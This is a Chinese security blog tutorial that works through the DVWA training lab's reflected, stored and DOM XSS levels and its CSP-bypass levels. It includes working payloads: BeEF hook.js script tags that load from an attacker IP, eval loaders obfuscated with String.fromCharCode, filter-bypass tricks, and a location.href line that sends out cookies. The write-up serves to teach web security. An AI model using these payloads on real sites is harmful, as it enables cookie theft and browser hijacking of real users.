freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

二进制选手的web安全之路(0x1) : XSS跨站脚本攻击
2023-10-07 17:10:28

XSS

XSS 指 Web 应用代码注入,攻击者向 Web 页面插入恶意 Script 代码,例如 JavaScript 脚本,CSS 或者其他代码。用户浏览该页面会执行其中嵌入的 Script 代码,从而获取 cookie,session,token或其他敏感信息,对用户进行钓鱼欺诈。

XSS 基础

反射型 XSS(非持久性 XSS)

这种 XSS 并没有保存到目标网站,而是将将恶意代码放在请求的响应结果中,浏览器解析后触发 XSS,一般引诱用户点击恶意链接来实施攻击。

dvwa 例题:

level: Low

<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

向 GET 请求注入代码:

127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert("hello")</script>
<script>alert("hello")</script>

image-20230926211545402.png

反馈:

image-20230926211722779.png

BeEF 利用:

攻击方IP: 192.168.152.128

靶场IP: 192.168.152.1

键入<script src="http://192.168.152.128:3000/hook.js"></script>

image-20230927145547349.png

反馈:

image-20230927145700059.png

URL: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22http%3A%2F%2F192.168.152.128%3A3000%2Fhook.js%22%3E%3C%2Fscript%3E#

变成了 hook.js地址,并且成功上线 BeFF,可通过Get cookie 获取 cookie信息。

image-20230927145747630.png

界面跳转。

image-20230927160822193.png

image-20230927160901116.png

弹窗。

image-20230927161904804.png

image-20230927161847107.png

level: Medium

源码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( '<script>', '', $_GET[ 'name' ] );//str_replace 区分大小写。

	// Feedback for end user
	$html .= "<pre>Hello {$name}</pre>";
}
?>

payload:

<Script src="http://192.168.152.128:3000/hook.js"></Script>

image-20230927165007670.png

level: High

源码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    // 避开<script ,*贪婪匹配会匹配到 <

	// Feedback for end user
	$html .= "<pre>Hello {$name}</pre>";
}
?>

只要避免script出现即可。

策略: 使用String.fromCharCode()函数来创建"script""http://192.168.152.128:3000/hook.js"这两个字符串,以避免直接在代码中出现这些字符串。然后,我使用eval()函数来执行这段代码。

payload:

<img src="nonexistent.jpg" onerror="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">

image-20230927171112316.png

成功上线BeEF。

image-20230927171209443.png

存储型 XSS

存储型 XSS 被保留在目标网站中,受害者浏览包含此恶意代码的网站就会执行恶意代码。通常出现在个人信息,网站留言,评论,博客日志等交互处。

dvwa 例题

level: Low

源码:

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}
?>

在留言板键入<script src="http://192.168.152.128:3000/hook.js">

image-20230927163730628.png

成功上线BeEF。

image-20230927163814502.png

level: Medium

源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = str_replace( '<script>', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

str_replace可以通过双写或者大写等绕过。

payload:

<scrip<script>t>http://192.168.152.128:3000/hook.js</scrip<script>t>

限制了输入长度,将其改为 200。

image-20230927172843131.png

image-20230927173103574.png

成功上线 BeEF。

image-20230927173151375.png

level: High

源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

和 xss-r 的 High 难度一样,通过编码绕过。

payload:

<img src="nonexistent.jpg" onerror="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">

修改 Message 可输入长度。

image-20230927173609007.png

成功上线 BeEF。

image-20230927173705996.png

DOM 型 XSS

DOM 型 XSS 可以在前端通过 js 渲染来完成数据的交互,达到插入数据造成 XSS 脚本攻击。因 '#' 后面的内容不会发送到服务器上,所以即使抓包无无法抓取到这里的流量,也不会经过服务器过滤器阻止。而反射性与存储型 XSS 需要与服务器交互,这便是三者的区别。

DOM参考

dvwa 例题

level: Low

源码:

<?php
# No protections, anything goes
?>

select 任意一种语言后

URL: http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English

image-20230927184520953.png

更改 default 参数。

payload:

<script src="http://192.168.152.128:3000/hook.js"></script>

成功上线 BeEF。

image-20230927185920467.png

level: Medium

源码:

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];

	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}
?>

不允许<script执行,更换闭合方式即可。

payload:

</option></select><iframe onload="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">

成功上线 BeEF。

image-20230927192547528.png

level: High

源码:

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}
?>

服务端的白名单,可用 # 绕过,# 后的 js 将在本地解析,而不会上传至服务器,并且这个脚本对以上通用。

payload:

?default=English#<script src="http://192.168.152.128:3000/hook.js"></script>

成功上线 BeEF。

image-20230927193324140.png

XSS进阶

CSP简述

CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,采取白名单制度,开发者告诉客户端,哪些外部资源可以加载和执行,哪些不可以。通过HTTP消息头或者HTMLMeta标签中设置。正常CSP有多组策略组成,每组策略包含一个策略指令和内容源列表。

  • 通过HTTP消息头设置:

Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
  • 通过HTMLMeta标签中设置:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

CSP指令

  • script-src:外部脚本

  • style-src:样式表

  • img-src:图像

  • media-src:媒体文件(音频和视频)

  • font-src:字体文件

  • object-src:插件(比如 Flash)

  • child-src:框架

  • frame-ancestors:嵌入的外部资源(比如<frame><iframe><embed><applet>

  • connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)

  • worker-src:worker脚本

  • manifest-src:manifest 文件

  • dedault-src:默认配置

  • frame-ancestors:限制嵌入框架的网页

  • base-uri:限制<base#href>

  • form-action:限制<form#action>

  • block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)

  • upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议

  • plugin-types:限制可以使用的插件格式

  • sandbox:浏览器行为的限制,比如不能有弹出窗口等。

CSP指令值

  • *: 星号表示允许任何URL资源,没有限制;

  • self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;

  • data:仅允许数据模式(如Base64编码的图片)方式加载资源;

  • none:不允许任何资源被加载;

  • unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;

  • nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;

CSP绕过

location.href绕过

很多网站常常不得已需要执行内联,CSP不影响location.href跳转。我们可以借此执行JavaScript,也可以利用loction跳转外带数据。

location-herf.php

<?php
    if (!isset($_COOKIE['a'])) {
        setcookie('a',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
    if (isset($_GET['a'])) {
        echo "Your GET content".@$_GET['a'];
    }//
?>

image-20231007165318034.png

payload

?a=<script>location.href="http://127.0.0.1"+document.cookie;</script>

image-20231007165343194.png

dvwa 例题

Low

  • 源码

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';
// 白名单
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com

headerCSP 放置了一些 url,使用 script src 指令 指向一个外部 JavaScript 文件,header() 函数以原始形式将 HTTP 标头发送到客户端或浏览器,源码对 HTTP 头定义了 CSP 标签,从而定义了可以接受外部 JavaScript 资源的白名单。

  • Attack

image-20231011111416286.png

image-20231011111726446.png

首先在白名单网站https://pastebin.com/里边创建一个JavaScript代码alert("XSS")保存记住链接eg: https://pastebin.com/raw/Qp0pTUvF

image-20231011111850527.png

输入后,点击include。因为网站在是国外的,访问较慢,可能不会出现弹窗。

image-20231011112448886.png

image-20231011112509622.png

抓包看一下,请求已经发送出去了。

Medium

  • 源码

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

CSP策略尝试使用nonce来防止攻击者添加内联脚本。HTTP头信息中的script-src的合法来源发生了变化。script-src还可以设置一些特殊值,unsafe-inline允许执行页面内嵌的<script>标签和事件监听函数,nonce值会在每次HTTP回应给出一个授权token

  • Attack

payload:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS")</script>

image-20231011114921730.png

image-20231011114940467.png

直接通过内联JavaScript代码,注入时直接令nonce为设定好的值即可。

High

  • 源码

// high.php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

源代码的CSP:``"Content-Security-Policy: script-src ‘self’;"意思是只能从本页面调用javascript脚本。

// high.js
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

点击网页的按钮使js生成一个script标签,src指向source/jsonp.php?callback=solveNumappendChild()方法把“source/jsonp.php?callback=solveNum”加入到 DOM 中。solveNum()函数传入参数obj,如果字符串“answer”obj中就会执行。getElementById()方法可返回对拥有指定ID的第一个对象的引用,innerHTML属性设置或返回表格行的开始和结束标签之间的HTML。这里的script标签会把远程加载的solveSum({"answer":"15"})当作js代码执行, 然后这个函数就会在页面显示答案。

// josnp.php
<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
	$callback = $_GET['callback'];
} else {
	return "";
}

$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

json.php中的参数通过get方式获取,且没有做过滤。

  • Attack

image-20231011155419031.png

通过POST传参将payload:include=<script src="source/jsonp.php?callback=alert('xss');"></script>上传即可。

# 渗透测试 # web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录